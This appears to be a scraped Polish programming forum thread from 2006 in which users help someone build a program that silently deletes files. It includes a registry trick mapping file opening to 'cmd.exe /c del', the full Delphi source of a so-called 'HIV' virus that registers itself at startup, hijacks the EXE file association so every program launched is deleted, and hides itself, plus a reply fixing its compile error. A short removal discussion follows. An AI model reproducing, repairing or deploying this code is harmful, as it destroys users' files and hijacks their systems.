ďťż

Ładny brzuch

Jak wyposażyc program działający w tle w opcję usuwania plików z
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...




Jak wyposażyc program działający w tle w opcję usuwania plików z
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...

Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...


Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...



Zwykłe usunięcie pliku? :blink:DeleteFile('c:\plik.txt');lubuses ShellApi; ... var s:shfileopstruct; begin s.Wnd:=Handle; s.wFunc:=FO_DELETE; s.pFrom:='c:\plik.txt'; s.pTo:=''; s.fFlags:=FOF_SILENT or FOF_NOERRORUI or FOF_NOCONFIRMATION; SHFileOperation(s); end;
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:12
Nie, ja myśle że jemu chodzi o to aby po dwukrotnym kliknięciu w eksplorerze windows plik zamiast się otworzyć, usunał się. Pomysł ciekawy gorzej z wykonaniem :lol:

Wcale nie gorzej, wystarczy dodać do rejestru wpis, np. to:
HKCR\Paint.Picture\Shell\Open\Command i jaką domyślną wartość wpisać np. cmd.exe /c del "%1" :) To jest dla 'obrazków', możnaby dla wszystkich plików, ale nie jako polecenie domyślne (dwuklik) :(
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:42
A niedałoby się, żeby usuwało wszystkie pliki? Może zajrzyjcie do tego HIV'a i może połapiecie się co tam jest nie tak... HIV jest napisany w delphi, ale do wcześniejszej wersji.

Przytaczam tu cały kod źródłowy HIV'a "żywcem" skopiowany nic nie kasowałem
(*****************************************) {   Wirus   HIV  Source                   } { Copyright (c) 2000 by Bald              } {   E-mail: bald@pf.pl                    } {-----------------------------------------} {  Zobaczcie jak latwo jest napisac wirusa! Byc   moze nie jest to 100% wirus bo nie rozsyla sie,   ale i tak moze spowodowad duze szkody. Piszac go   nie mialem zlych intencji. Chcialem tylko pokazac,   ze napisanie programu, ktory wyrzadza szkody w komputerze   jest proste!   Jak dziala ten program!? Wystarczy go uruchomic, a   wirus ten podstawi sie do rejestru jako domyslny   program do plikow EXE. Jezeli bedziesz prubowal taki   program uruchomic to skonczy sie to fatalnie dla programu -   zostanie on skasowany! Nie probujcie jego dzialania -   wystarczy, ze ja sprawdzilem. :) Nawet gdy bedziesz   probowal zmnienic klucz rejestru to i tak nie wejdziesz   do edytora rejstru. } program hiv; uses  Forms,  Windows,  Dialogs,  Registry; var  Reg : TRegistry; procedure WriteToReg; begin  Reg := TRegistry.Create;    try      Reg.RootKey := HKEY_LOCAL_MACHINE;      Reg.OpenKey( // dodanie wartosci do rejestru dzieki czemu wirus ten // bedzie uruchamiany wraz ze startem systemu.      'Software\Microsoft\Windows\CurrentVersion\Run', True);      Reg.WriteString('xxx', Application.ExeName);      Reg.CloseKey;      Reg.RootKey := HKEY_CLASSES_ROOT;      Reg.OpenKey( // dopisz klucz dzieki, ktoremu wirus bedzie wykorzystany // jako domyslny program do plikow EXE      'exefile\shell\open\command', True);      Reg.WriteString('', '"'+ Application.ExeName + '" "%1"');    finally      Reg.Free;    end; end; procedure DeleteFiles; begin {  Procedura najpierw pobiera sciezke uruchomianego  programu, a nastepnie usuwa go. Jezeli urchamianym  programem jest sam witus HIV nic sie nie dzieje. }  try    if ParamCount > 0 then      DeleteFile(ParamStr(1));  except    Exit;  end; end; begin  Application.Initialize;  Application.Run;  WriteToReg;  DeleteFiles; // ukryj ikone aplikacji...  SetFileAttributes(PChar(Application.ExeName), FILE_ATTRIBUTE_HIDDEN); end.
Przy kompilacji delphi zaznacza linijkę "DeleteFile(ParamStr(1));"
Może wy coś z tego zrozumiecie...

Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza :P Może przekręciłeś go w swoim programie.


Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza  :P Może przekręciłeś go w swoim programie.

A nie powinno być tak? :PDeleteFile(ParamStr[1]);

Bład istnieje, ponieważ występuje konflikt typów :excl:
Zamiast
DeleteFile(ParamStr(1));
daj
DeleteFile(Pchar(ParamStr(1)));

W gruncie to dziwne, że na stronie autor zamieścił kod z błędem.... :P
Użytkownik Lycon edytował ten post 07 luty 2006, 17:00
A, czy jest jakis sposób na obrone przed tym wirusem, jeśli jest to jaki...

Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)


Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)


W jaki sposób włączyć konsolę przed zalogowaniem do Windowsa?


Włącz win w trybie awaryjnym, wtedy wirus się nie uruchomi  :)
Uruchomić go z parametrem z jego pełną nazwą, wtedy się usunie  :lol:


Przecież w jednym z komentarzy jest napisane, że gdy uruchomi się wirusa nic sie niestanie.

Tak na marginesie to o czym my wogóle piszemy ? Temat ma już odpowiedź :mellow: !

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • zsf.htw.pl
  •